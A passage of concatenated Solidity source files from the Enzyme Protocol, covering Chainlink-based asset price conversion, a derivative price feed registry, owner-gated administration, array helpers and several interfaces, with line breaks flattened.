////////////////////////// // DERIVATIVES REGISTRY // ////////////////////////// /// @notice Adds a list of derivatives with the given price feed values /// @param _derivatives The derivatives to add /// @param _priceFeeds The ordered price feeds corresponding to the list of _derivatives function __addDerivatives(address[] memory _derivatives, address[] memory _priceFeeds) internal { require( _derivatives.length == _priceFeeds.length, "__addDerivatives: Unequal _derivatives and _priceFeeds array lengths" ); for (uint256 i = 0; i < _derivatives.length; i++) { require( getPriceFeedForDerivative(_derivatives[i]) == address(0), "__addDerivatives: Already added" ); __validateDerivativePriceFeed(_derivatives[i], _priceFeeds[i]); derivativeToPriceFeed[_derivatives[i]] = _priceFeeds[i]; emit DerivativeAdded(_derivatives[i], _priceFeeds[i]); } } /// @notice Removes a list of derivatives /// @param _derivatives The derivatives to remove function __removeDerivatives(address[] memory _derivatives) internal { for (uint256 i = 0; i < _derivatives.length; i++) { require( getPriceFeedForDerivative(_derivatives[i]) != address(0), "removeDerivatives: Derivative not yet added" ); delete derivativeToPriceFeed[_derivatives[i]]; emit DerivativeRemoved(_derivatives[i]); } } // PRIVATE FUNCTIONS /// @dev Helper to validate a derivative price feed function __validateDerivativePriceFeed(address _derivative, address _priceFeed) private view { require( IDerivativePriceFeed(_priceFeed).isSupportedAsset(_derivative), "__validateDerivativePriceFeed: Unsupported derivative" ); } /////////////////// // STATE GETTERS // /////////////////// /// @notice Gets the registered price feed for a given derivative /// @return priceFeed_ The price feed contract address function getPriceFeedForDerivative(address _derivative) public view returns (address priceFeed_) { return derivativeToPriceFeed[_derivative]; } } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; /// @title IDerivativePriceFeed Interface /// @author Enzyme Council <[email protected]> /// @notice Simple interface for derivative price source oracle implementations interface IDerivativePriceFeed { function calcUnderlyingValues(address, uint256) external returns (address[] memory, uint256[] memory); function isSupportedAsset(address) external view returns (bool); } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "../../../interfaces/IChainlinkAggregator.sol"; /// @title ChainlinkPriceFeedMixin Contract /// @author Enzyme Council <[email protected]> /// @notice A price feed that uses Chainlink oracles as price sources abstract contract ChainlinkPriceFeedMixin { using SafeMath for uint256; event EthUsdAggregatorSet(address prevEthUsdAggregator, address nextEthUsdAggregator); event PrimitiveAdded( address indexed primitive, address aggregator, RateAsset rateAsset, uint256 unit ); event PrimitiveRemoved(address indexed primitive); enum RateAsset {ETH, USD} struct AggregatorInfo { address aggregator; RateAsset rateAsset; } uint256 private constant ETH_UNIT = 10**18; uint256 private immutable STALE_RATE_THRESHOLD; address private immutable WETH_TOKEN; address private ethUsdAggregator; mapping(address => AggregatorInfo) private primitiveToAggregatorInfo; mapping(address => uint256) private primitiveToUnit; constructor(address _wethToken, uint256 _staleRateThreshold) public { STALE_RATE_THRESHOLD = _staleRateThreshold; WETH_TOKEN = _wethToken; } // INTERNAL FUNCTIONS /// @notice Calculates the value of a base asset in terms of a quote asset (using a canonical rate) /// @param _baseAsset The base asset /// @param _baseAssetAmount The base asset amount to convert /// @param _quoteAsset The quote asset /// @return quoteAssetAmount_ The equivalent quote asset amount function __calcCanonicalValue( address _baseAsset, uint256 _baseAssetAmount, address _quoteAsset ) internal view returns (uint256 quoteAssetAmount_) { // Case where _baseAsset == _quoteAsset is handled by ValueInterpreter int256 baseAssetRate = __getLatestRateData(_baseAsset); require(baseAssetRate > 0, "__calcCanonicalValue: Invalid base asset rate"); int256 quoteAssetRate = __getLatestRateData(_quoteAsset); require(quoteAssetRate > 0, "__calcCanonicalValue: Invalid quote asset rate"); return __calcConversionAmount( _baseAsset, _baseAssetAmount, uint256(baseAssetRate), _quoteAsset, uint256(quoteAssetRate) ); } /// @dev Helper to set the `ethUsdAggregator` value function __setEthUsdAggregator(address _nextEthUsdAggregator) internal { address prevEthUsdAggregator = getEthUsdAggregator(); require( _nextEthUsdAggregator != prevEthUsdAggregator, "__setEthUsdAggregator: Value already set" ); __validateAggregator(_nextEthUsdAggregator); ethUsdAggregator = _nextEthUsdAggregator; emit EthUsdAggregatorSet(prevEthUsdAggregator, _nextEthUsdAggregator); } // PRIVATE FUNCTIONS /// @dev Helper to convert an amount from a _baseAsset to a _quoteAsset function __calcConversionAmount( address _baseAsset, uint256 _baseAssetAmount, uint256 _baseAssetRate, address _quoteAsset, uint256 _quoteAssetRate ) private view returns (uint256 quoteAssetAmount_) { RateAsset baseAssetRateAsset = getRateAssetForPrimitive(_baseAsset); RateAsset quoteAssetRateAsset = getRateAssetForPrimitive(_quoteAsset); uint256 baseAssetUnit = getUnitForPrimitive(_baseAsset); uint256 quoteAssetUnit = getUnitForPrimitive(_quoteAsset); // If rates are both in ETH or both in USD if (baseAssetRateAsset == quoteAssetRateAsset) { return __calcConversionAmountSameRateAsset( _baseAssetAmount, baseAssetUnit, _baseAssetRate, quoteAssetUnit, _quoteAssetRate ); } (, int256 ethPerUsdRate, , uint256 ethPerUsdRateLastUpdatedAt, ) = IChainlinkAggregator( getEthUsdAggregator() ) .latestRoundData(); require(ethPerUsdRate > 0, "__calcConversionAmount: Bad ethUsd rate"); __validateRateIsNotStale(ethPerUsdRateLastUpdatedAt); // If _baseAsset's rate is in ETH and _quoteAsset's rate is in USD if (baseAssetRateAsset == RateAsset.ETH) { return __calcConversionAmountEthRateAssetToUsdRateAsset( _baseAssetAmount, baseAssetUnit, _baseAssetRate, quoteAssetUnit, _quoteAssetRate, uint256(ethPerUsdRate) ); } // If _baseAsset's rate is in USD and _quoteAsset's rate is in ETH return __calcConversionAmountUsdRateAssetToEthRateAsset( _baseAssetAmount, baseAssetUnit, _baseAssetRate, quoteAssetUnit, _quoteAssetRate, uint256(ethPerUsdRate) ); } /// @dev Helper to convert amounts where the base asset has an ETH rate and the quote asset has a USD rate function __calcConversionAmountEthRateAssetToUsdRateAsset( uint256 _baseAssetAmount, uint256 _baseAssetUnit, uint256 _baseAssetRate, uint256 _quoteAssetUnit, uint256 _quoteAssetRate, uint256 _ethPerUsdRate ) private pure returns (uint256 quoteAssetAmount_) { // Only allows two consecutive multiplication operations to avoid potential overflow. // Intermediate step needed to resolve stack-too-deep error. uint256 intermediateStep = _baseAssetAmount.mul(_baseAssetRate).mul(_ethPerUsdRate).div( ETH_UNIT ); return intermediateStep.mul(_quoteAssetUnit).div(_baseAssetUnit).div(_quoteAssetRate); } /// @dev Helper to convert amounts where base and quote assets both have ETH rates or both have USD rates function __calcConversionAmountSameRateAsset( uint256 _baseAssetAmount, uint256 _baseAssetUnit, uint256 _baseAssetRate, uint256 _quoteAssetUnit, uint256 _quoteAssetRate ) private pure returns (uint256 quoteAssetAmount_) { // Only allows two consecutive multiplication operations to avoid potential overflow return _baseAssetAmount.mul(_baseAssetRate).mul(_quoteAssetUnit).div( _baseAssetUnit.mul(_quoteAssetRate) ); } /// @dev Helper to convert amounts where the base asset has a USD rate and the quote asset has an ETH rate function __calcConversionAmountUsdRateAssetToEthRateAsset( uint256 _baseAssetAmount, uint256 _baseAssetUnit, uint256 _baseAssetRate, uint256 _quoteAssetUnit, uint256 _quoteAssetRate, uint256 _ethPerUsdRate ) private pure returns (uint256 quoteAssetAmount_) { // Only allows two consecutive multiplication operations to avoid potential overflow // Intermediate step needed to resolve stack-too-deep error. uint256 intermediateStep = _baseAssetAmount.mul(_baseAssetRate).mul(_quoteAssetUnit).div( _ethPerUsdRate ); return intermediateStep.mul(ETH_UNIT).div(_baseAssetUnit).div(_quoteAssetRate); } /// @dev Helper to get the latest rate for a given primitive function __getLatestRateData(address _primitive) private view returns (int256 rate_) { if (_primitive == getWethToken()) { return int256(ETH_UNIT); } address aggregator = getAggregatorForPrimitive(_primitive); require(aggregator != address(0), "__getLatestRateData: Primitive does not exist"); uint256 rateUpdatedAt; (, rate_, , rateUpdatedAt, ) = IChainlinkAggregator(aggregator).latestRoundData(); __validateRateIsNotStale(rateUpdatedAt); return rate_; } /// @dev Helper to validate that a rate is not from a round considered to be stale function __validateRateIsNotStale(uint256 _latestUpdatedAt) private view { require( _latestUpdatedAt >= block.timestamp.sub(getStaleRateThreshold()), "__validateRateIsNotStale: Stale rate detected" ); } ///////////////////////// // PRIMITIVES REGISTRY // ///////////////////////// /// @notice Adds a list of primitives with the given aggregator and rateAsset values /// @param _primitives The primitives to add /// @param _aggregators The ordered aggregators corresponding to the list of _primitives /// @param _rateAssets The ordered rate assets corresponding to the list of _primitives function __addPrimitives( address[] calldata _primitives, address[] calldata _aggregators, RateAsset[] calldata _rateAssets ) internal { require( _primitives.length == _aggregators.length, "__addPrimitives: Unequal _primitives and _aggregators array lengths" ); require( _primitives.length == _rateAssets.length, "__addPrimitives: Unequal _primitives and _rateAssets array lengths" ); for (uint256 i; i < _primitives.length; i++) { require( getAggregatorForPrimitive(_primitives[i]) == address(0), "__addPrimitives: Value already set" ); __validateAggregator(_aggregators[i]); primitiveToAggregatorInfo[_primitives[i]] = AggregatorInfo({ aggregator: _aggregators[i], rateAsset: _rateAssets[i] }); // Store the amount that makes up 1 unit given the asset's decimals uint256 unit = 10**uint256(ERC20(_primitives[i]).decimals()); primitiveToUnit[_primitives[i]] = unit; emit PrimitiveAdded(_primitives[i], _aggregators[i], _rateAssets[i], unit); } } /// @notice Removes a list of primitives from the feed /// @param _primitives The primitives to remove function __removePrimitives(address[] calldata _primitives) internal { for (uint256 i; i < _primitives.length; i++) { require( getAggregatorForPrimitive(_primitives[i]) != address(0), "__removePrimitives: Primitive not yet added" ); delete primitiveToAggregatorInfo[_primitives[i]]; delete primitiveToUnit[_primitives[i]]; emit PrimitiveRemoved(_primitives[i]); } } // PRIVATE FUNCTIONS /// @dev Helper to validate an aggregator by checking its return values for the expected interface function __validateAggregator(address _aggregator) private view { (, int256 answer, , uint256 updatedAt, ) = IChainlinkAggregator(_aggregator) .latestRoundData(); require(answer > 0, "__validateAggregator: No rate detected"); __validateRateIsNotStale(updatedAt); } /////////////////// // STATE GETTERS // /////////////////// /// @notice Gets the aggregator for a primitive /// @param _primitive The primitive asset for which to get the aggregator value /// @return aggregator_ The aggregator address function getAggregatorForPrimitive(address _primitive) public view returns (address aggregator_) { return primitiveToAggregatorInfo[_primitive].aggregator; } /// @notice Gets the `ethUsdAggregator` variable value /// @return ethUsdAggregator_ The `ethUsdAggregator` variable value function getEthUsdAggregator() public view returns (address ethUsdAggregator_) { return ethUsdAggregator; } /// @notice Gets the rateAsset variable value for a primitive /// @return rateAsset_ The rateAsset variable value /// @dev This isn't strictly necessary as WETH_TOKEN will be undefined and thus /// the RateAsset will be the 0-position of the enum (i.e. ETH), but it makes the /// behavior more explicit function getRateAssetForPrimitive(address _primitive) public view returns (RateAsset rateAsset_) { if (_primitive == getWethToken()) { return RateAsset.ETH; } return primitiveToAggregatorInfo[_primitive].rateAsset; } /// @notice Gets the `STALE_RATE_THRESHOLD` variable value /// @return staleRateThreshold_ The `STALE_RATE_THRESHOLD` value function getStaleRateThreshold() public view returns (uint256 staleRateThreshold_) { return STALE_RATE_THRESHOLD; } /// @notice Gets the unit variable value for a primitive /// @return unit_ The unit variable value function getUnitForPrimitive(address _primitive) public view returns (uint256 unit_) { if (_primitive == getWethToken()) { return ETH_UNIT; } return primitiveToUnit[_primitive]; } /// @notice Gets the `WETH_TOKEN` variable value /// @return wethToken_ The `WETH_TOKEN` variable value function getWethToken() public view returns (address wethToken_) { return WETH_TOKEN; } } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; /// @title IProtocolFeeTracker Interface /// @author Enzyme Council <[email protected]> interface IProtocolFeeTracker { function initializeForVault(address) external; function payFee() external returns (uint256); } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; /// @title IValueInterpreter interface /// @author Enzyme Council <[email protected]> /// @notice Interface for ValueInterpreter interface IValueInterpreter { function calcCanonicalAssetValue( address, uint256, address ) external returns (uint256); function calcCanonicalAssetsTotalValue( address[] calldata, uint256[] calldata, address ) external returns (uint256); function isSupportedAsset(address) external view returns (bool); function isSupportedDerivativeAsset(address) external view returns (bool); function isSupportedPrimitiveAsset(address) external view returns (bool); } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/math/SafeMath.sol"; import "../../utils/FundDeployerOwnerMixin.sol"; import "../../utils/MathHelpers.sol"; import "../price-feeds/derivatives/AggregatedDerivativePriceFeedMixin.sol"; import "../price-feeds/derivatives/IDerivativePriceFeed.sol"; import "../price-feeds/primitives/ChainlinkPriceFeedMixin.sol"; import "./IValueInterpreter.sol"; /// @title ValueInterpreter Contract /// @author Enzyme Council <[email protected]> /// @notice Interprets price feeds to provide covert value between asset pairs contract ValueInterpreter is IValueInterpreter, FundDeployerOwnerMixin, AggregatedDerivativePriceFeedMixin, ChainlinkPriceFeedMixin, MathHelpers { using SafeMath for uint256; // Used to only tolerate a max rounding discrepancy of 0.01% // when converting values via an inverse rate uint256 private constant MIN_INVERSE_RATE_AMOUNT = 10000; constructor( address _fundDeployer, address _wethToken, uint256 _chainlinkStaleRateThreshold ) public FundDeployerOwnerMixin(_fundDeployer) ChainlinkPriceFeedMixin(_wethToken, _chainlinkStaleRateThreshold) {} // EXTERNAL FUNCTIONS /// @notice Calculates the total value of given amounts of assets in a single quote asset /// @param _baseAssets The assets to convert /// @param _amounts The amounts of the _baseAssets to convert /// @param _quoteAsset The asset to which to convert /// @return value_ The sum value of _baseAssets, denominated in the _quoteAsset /// @dev Does not alter protocol state, /// but not a view because calls to price feeds can potentially update third party state. /// Does not handle a derivative quote asset. function calcCanonicalAssetsTotalValue( address[] memory _baseAssets, uint256[] memory _amounts, address _quoteAsset ) external override returns (uint256 value_) { require( _baseAssets.length == _amounts.length, "calcCanonicalAssetsTotalValue: Arrays unequal lengths" ); require( isSupportedPrimitiveAsset(_quoteAsset), "calcCanonicalAssetsTotalValue: Unsupported _quoteAsset" ); for (uint256 i; i < _baseAssets.length; i++) { uint256 assetValue = __calcAssetValue(_baseAssets[i], _amounts[i], _quoteAsset); value_ = value_.add(assetValue); } return value_; } // PUBLIC FUNCTIONS /// @notice Calculates the value of a given amount of one asset in terms of another asset /// @param _baseAsset The asset from which to convert /// @param _amount The amount of the _baseAsset to convert /// @param _quoteAsset The asset to which to convert /// @return value_ The equivalent quantity in the _quoteAsset /// @dev Does not alter protocol state, /// but not a view because calls to price feeds can potentially update third party state. /// See also __calcPrimitiveToDerivativeValue() for important notes regarding a derivative _quoteAsset. function calcCanonicalAssetValue( address _baseAsset, uint256 _amount, address _quoteAsset ) external override returns (uint256 value_) { if (_baseAsset == _quoteAsset || _amount == 0) { return _amount; } if (isSupportedPrimitiveAsset(_quoteAsset)) { return __calcAssetValue(_baseAsset, _amount, _quoteAsset); } else if ( isSupportedDerivativeAsset(_quoteAsset) && isSupportedPrimitiveAsset(_baseAsset) ) { return __calcPrimitiveToDerivativeValue(_baseAsset, _amount, _quoteAsset); } revert("calcCanonicalAssetValue: Unsupported conversion"); } /// @notice Checks whether an asset is a supported asset /// @param _asset The asset to check /// @return isSupported_ True if the asset is a supported asset function isSupportedAsset(address _asset) public view override returns (bool isSupported_) { return isSupportedPrimitiveAsset(_asset) || isSupportedDerivativeAsset(_asset); } // PRIVATE FUNCTIONS /// @dev Helper to differentially calculate an asset value /// based on if it is a primitive or derivative asset. function __calcAssetValue( address _baseAsset, uint256 _amount, address _quoteAsset ) private returns (uint256 value_) { if (_baseAsset == _quoteAsset || _amount == 0) { return _amount; } // Handle case that asset is a primitive if (isSupportedPrimitiveAsset(_baseAsset)) { return __calcCanonicalValue(_baseAsset, _amount, _quoteAsset); } // Handle case that asset is a derivative address derivativePriceFeed = getPriceFeedForDerivative(_baseAsset); if (derivativePriceFeed != address(0)) { return __calcDerivativeValue(derivativePriceFeed, _baseAsset, _amount, _quoteAsset); } revert("__calcAssetValue: Unsupported _baseAsset"); } /// @dev Helper to calculate the value of a derivative in an arbitrary asset. /// Handles multiple underlying assets (e.g., Uniswap and Balancer pool tokens). /// Handles underlying assets that are also derivatives (e.g., a cDAI-ETH LP) function __calcDerivativeValue( address _derivativePriceFeed, address _derivative, uint256 _amount, address _quoteAsset ) private returns (uint256 value_) { (address[] memory underlyings, uint256[] memory underlyingAmounts) = IDerivativePriceFeed( _derivativePriceFeed ) .calcUnderlyingValues(_derivative, _amount); require(underlyings.length > 0, "__calcDerivativeValue: No underlyings"); require( underlyings.length == underlyingAmounts.length, "__calcDerivativeValue: Arrays unequal lengths" ); for (uint256 i = 0; i < underlyings.length; i++) { uint256 underlyingValue = __calcAssetValue( underlyings[i], underlyingAmounts[i], _quoteAsset ); value_ = value_.add(underlyingValue); } } /// @dev Helper to calculate the value of a primitive base asset in a derivative quote asset. /// Assumes that the _primitiveBaseAsset and _derivativeQuoteAsset have been validated as supported. /// Callers of this function should be aware of the following points, and take precautions as-needed, /// such as prohibiting a derivative quote asset: /// - The returned value will be slightly less the actual canonical value due to the conversion formula's /// handling of the intermediate inverse rate (see comments below). /// - If the assets involved have an extreme rate and/or have a low ERC20.decimals() value, /// the inverse rate might not be considered "sufficient", and will revert. function __calcPrimitiveToDerivativeValue( address _primitiveBaseAsset, uint256 _primitiveBaseAssetAmount, address _derivativeQuoteAsset ) private returns (uint256 value_) { uint256 derivativeUnit = 10**uint256(ERC20(_derivativeQuoteAsset).decimals()); address derivativePriceFeed = getPriceFeedForDerivative(_derivativeQuoteAsset); uint256 primitiveAmountForDerivativeUnit = __calcDerivativeValue( derivativePriceFeed, _derivativeQuoteAsset, derivativeUnit, _primitiveBaseAsset ); // Only tolerate a max rounding discrepancy require( primitiveAmountForDerivativeUnit > MIN_INVERSE_RATE_AMOUNT, "__calcPrimitiveToDerivativeValue: Insufficient rate" ); // Adds `1` to primitiveAmountForDerivativeUnit so that the final return value is // slightly less than the actual value, which is congruent with how all other // asset conversions are floored in the protocol. return __calcRelativeQuantity( primitiveAmountForDerivativeUnit.add(1), derivativeUnit, _primitiveBaseAssetAmount ); } //////////////////////////// // PRIMITIVES (CHAINLINK) // //////////////////////////// /// @notice Adds a list of primitives with the given aggregator and rateAsset values /// @param _primitives The primitives to add /// @param _aggregators The ordered aggregators corresponding to the list of _primitives /// @param _rateAssets The ordered rate assets corresponding to the list of _primitives function addPrimitives( address[] calldata _primitives, address[] calldata _aggregators, RateAsset[] calldata _rateAssets ) external onlyFundDeployerOwner { __addPrimitives(_primitives, _aggregators, _rateAssets); } /// @notice Removes a list of primitives from the feed /// @param _primitives The primitives to remove function removePrimitives(address[] calldata _primitives) external onlyFundDeployerOwner { __removePrimitives(_primitives); } /// @notice Sets the `ehUsdAggregator` variable value /// @param _nextEthUsdAggregator The `ehUsdAggregator` value to set function setEthUsdAggregator(address _nextEthUsdAggregator) external onlyFundDeployerOwner { __setEthUsdAggregator(_nextEthUsdAggregator); } /// @notice Updates a list of primitives with the given aggregator and rateAsset values /// @param _primitives The primitives to update /// @param _aggregators The ordered aggregators corresponding to the list of _primitives /// @param _rateAssets The ordered rate assets corresponding to the list of _primitives function updatePrimitives( address[] calldata _primitives, address[] calldata _aggregators, RateAsset[] calldata _rateAssets ) external onlyFundDeployerOwner { __removePrimitives(_primitives); __addPrimitives(_primitives, _aggregators, _rateAssets); } // PUBLIC FUNCTIONS /// @notice Checks whether an asset is a supported primitive /// @param _asset The asset to check /// @return isSupported_ True if the asset is a supported primitive function isSupportedPrimitiveAsset(address _asset) public view override returns (bool isSupported_) { return _asset == getWethToken() || getAggregatorForPrimitive(_asset) != address(0); } //////////////////////////////////// // DERIVATIVE PRICE FEED REGISTRY // //////////////////////////////////// /// @notice Adds a list of derivatives with the given price feed values /// @param _derivatives The derivatives to add /// @param _priceFeeds The ordered price feeds corresponding to the list of _derivatives function addDerivatives(address[] calldata _derivatives, address[] calldata _priceFeeds) external onlyFundDeployerOwner { __addDerivatives(_derivatives, _priceFeeds); } /// @notice Removes a list of derivatives /// @param _derivatives The derivatives to remove function removeDerivatives(address[] calldata _derivatives) external onlyFundDeployerOwner { __removeDerivatives(_derivatives); } /// @notice Updates a list of derivatives with the given price feed values /// @param _derivatives The derivatives to update /// @param _priceFeeds The ordered price feeds corresponding to the list of _derivatives function updateDerivatives(address[] calldata _derivatives, address[] calldata _priceFeeds) external onlyFundDeployerOwner { __removeDerivatives(_derivatives); __addDerivatives(_derivatives, _priceFeeds); } // PUBLIC FUNCTIONS /// @notice Checks whether an asset is a supported derivative /// @param _asset The asset to check /// @return isSupported_ True if the asset is a supported derivative function isSupportedDerivativeAsset(address _asset) public view override returns (bool isSupported_) { return getPriceFeedForDerivative(_asset) != address(0); } } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; /// @title IChainlinkAggregator Interface /// @author Enzyme Council <[email protected]> interface IChainlinkAggregator { function latestRoundData() external view returns ( uint80, int256, uint256, uint256, uint80 ); } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; /// @title IGsnForwarder interface /// @author Enzyme Council <[email protected]> interface IGsnForwarder { struct ForwardRequest { address from; address to; uint256 value; uint256 gas; uint256 nonce; bytes data; uint256 validUntil; } } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import "./IGsnTypes.sol"; /// @title IGsnPaymaster interface /// @author Enzyme Council <[email protected]> interface IGsnPaymaster { struct GasAndDataLimits { uint256 acceptanceBudget; uint256 preRelayedCallGasLimit; uint256 postRelayedCallGasLimit; uint256 calldataSizeLimit; } function getGasAndDataLimits() external view returns (GasAndDataLimits memory limits); function getHubAddr() external view returns (address); function getRelayHubDeposit() external view returns (uint256); function preRelayedCall( IGsnTypes.RelayRequest calldata relayRequest, bytes calldata signature, bytes calldata approvalData, uint256 maxPossibleGas ) external returns (bytes memory context, bool rejectOnRecipientRevert); function postRelayedCall( bytes calldata context, bool success, uint256 gasUseWithoutPost, IGsnTypes.RelayData calldata relayData ) external; function trustedForwarder() external view returns (address); function versionPaymaster() external view returns (string memory); } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import "./IGsnForwarder.sol"; /// @title IGsnTypes Interface /// @author Enzyme Council <[email protected]> interface IGsnTypes { struct RelayData { uint256 gasPrice; uint256 pctRelayFee; uint256 baseRelayFee; address relayWorker; address paymaster; address forwarder; bytes paymasterData; uint256 clientId; } struct RelayRequest { IGsnForwarder.ForwardRequest request; RelayData relayData; } } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; /// @title WETH Interface /// @author Enzyme Council <[email protected]> interface IWETH { function deposit() external payable; function withdraw(uint256) external; } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; /// @title AddressArray Library /// @author Enzyme Council <[email protected]> /// @notice A library to extend the address array data type library AddressArrayLib { ///////////// // STORAGE // ///////////// /// @dev Helper to remove an item from a storage array function removeStorageItem(address[] storage _self, address _itemToRemove) internal returns (bool removed_) { uint256 itemCount = _self.length; for (uint256 i; i < itemCount; i++) { if (_self[i] == _itemToRemove) { if (i < itemCount - 1) { _self[i] = _self[itemCount - 1]; } _self.pop(); removed_ = true; break; } } return removed_; } //////////// // MEMORY // //////////// /// @dev Helper to add an item to an array. Does not assert uniqueness of the new item. function addItem(address[] memory _self, address _itemToAdd) internal pure returns (address[] memory nextArray_) { nextArray_ = new address[](_self.length + 1); for (uint256 i; i < _self.length; i++) { nextArray_[i] = _self[i]; } nextArray_[_self.length] = _itemToAdd; return nextArray_; } /// @dev Helper to add an item to an array, only if it is not already in the array. function addUniqueItem(address[] memory _self, address _itemToAdd) internal pure returns (address[] memory nextArray_) { if (contains(_self, _itemToAdd)) { return _self; } return addItem(_self, _itemToAdd); } /// @dev Helper to verify if an array contains a particular value function contains(address[] memory _self, address _target) internal pure returns (bool doesContain_) { for (uint256 i; i < _self.length; i++) { if (_target == _self[i]) { return true; } } return false; } /// @dev Helper to merge the unique items of a second array. /// Does not consider uniqueness of either array, only relative uniqueness. /// Preserves ordering. function mergeArray(address[] memory _self, address[] memory _arrayToMerge) internal pure returns (address[] memory nextArray_) { uint256 newUniqueItemCount; for (uint256 i; i < _arrayToMerge.length; i++) { if (!contains(_self, _arrayToMerge[i])) { newUniqueItemCount++; } } if (newUniqueItemCount == 0) { return _self; } nextArray_ = new address[](_self.length + newUniqueItemCount); for (uint256 i; i < _self.length; i++) { nextArray_[i] = _self[i]; } uint256 nextArrayIndex = _self.length; for (uint256 i; i < _arrayToMerge.length; i++) { if (!contains(_self, _arrayToMerge[i])) { nextArray_[nextArrayIndex] = _arrayToMerge[i]; nextArrayIndex++; } } return nextArray_; } /// @dev Helper to verify if array is a set of unique values. /// Does not assert length > 0. function isUniqueSet(address[] memory _self) internal pure returns (bool isUnique_) { if (_self.length <= 1) { return true; } uint256 arrayLength = _self.length; for (uint256 i; i < arrayLength; i++) { for (uint256 j = i + 1; j < arrayLength; j++) { if (_self[i] == _self[j]) { return false; } } } return true; } /// @dev Helper to remove items from an array. Removes all matching occurrences of each item. /// Does not assert uniqueness of either array. function removeItems(address[] memory _self, address[] memory _itemsToRemove) internal pure returns (address[] memory nextArray_) { if (_itemsToRemove.length == 0) { return _self; } bool[] memory indexesToRemove = new bool[](_self.length); uint256 remainingItemsCount = _self.length; for (uint256 i; i < _self.length; i++) { if (contains(_itemsToRemove, _self[i])) { indexesToRemove[i] = true; remainingItemsCount--; } } if (remainingItemsCount == _self.length) { nextArray_ = _self; } else if (remainingItemsCount > 0) { nextArray_ = new address[](remainingItemsCount); uint256 nextArrayIndex; for (uint256 i; i < _self.length; i++) { if (!indexesToRemove[i]) { nextArray_[nextArrayIndex] = _self[i]; nextArrayIndex++; } } } return nextArray_; } } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; import "../core/fund-deployer/IFundDeployer.sol"; /// @title FundDeployerOwnerMixin Contract /// @author Enzyme Council <[email protected]> /// @notice A mixin contract that defers ownership to the owner of FundDeployer abstract contract FundDeployerOwnerMixin { address internal immutable FUND_DEPLOYER; modifier onlyFundDeployerOwner() { require( msg.sender == getOwner(), "onlyFundDeployerOwner: Only the FundDeployer owner can call this function" ); _; } constructor(address _fundDeployer) public { FUND_DEPLOYER = _fundDeployer; } /// @notice Gets the owner of this contract /// @return owner_ The owner /// @dev Ownership is deferred to the owner of the FundDeployer contract function getOwner() public view returns (address owner_) { return IFundDeployer(FUND_DEPLOYER).getOwner(); } /////////////////// // STATE GETTERS // /////////////////// /// @notice Gets the `FUND_DEPLOYER` variable /// @return fundDeployer_ The `FUND_DEPLOYER` variable value function getFundDeployer() public view returns (address fundDeployer_) { return FUND_DEPLOYER; } } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; import "@openzeppelin/contracts/math/SafeMath.sol"; /// @title MathHelpers Contract /// @author Enzyme Council <[email protected]> /// @notice Helper functions for common math operations abstract contract MathHelpers { using SafeMath for uint256; /// @dev Calculates a proportional value relative to a known ratio. /// Caller is responsible as-necessary for: /// 1. validating _quantity1 to be non-zero /// 2. validating relativeQuantity2_ to be non-zero function __calcRelativeQuantity( uint256 _quantity1, uint256 _quantity2, uint256 _relativeQuantity1 ) internal pure returns (uint256 relativeQuantity2_) { return _relativeQuantity1.mul(_quantity2).div(_quantity1); } } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; /// @title IBeacon interface /// @author Enzyme Council <[email protected]> interface IBeacon { function getCanonicalLib() external view returns (address); } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ import "./IBeacon.sol"; pragma solidity 0.6.12; /// @title IBeaconProxyFactory interface /// @author Enzyme Council <[email protected]> interface IBeaconProxyFactory is IBeacon { function deployProxy(bytes memory _constructData) external returns (address proxy_); function setCanonicalLib(address _canonicalLib) external; }
Gets the implemented PolicyHooks for a policy return implementedHooks_ The implemented PolicyHooks
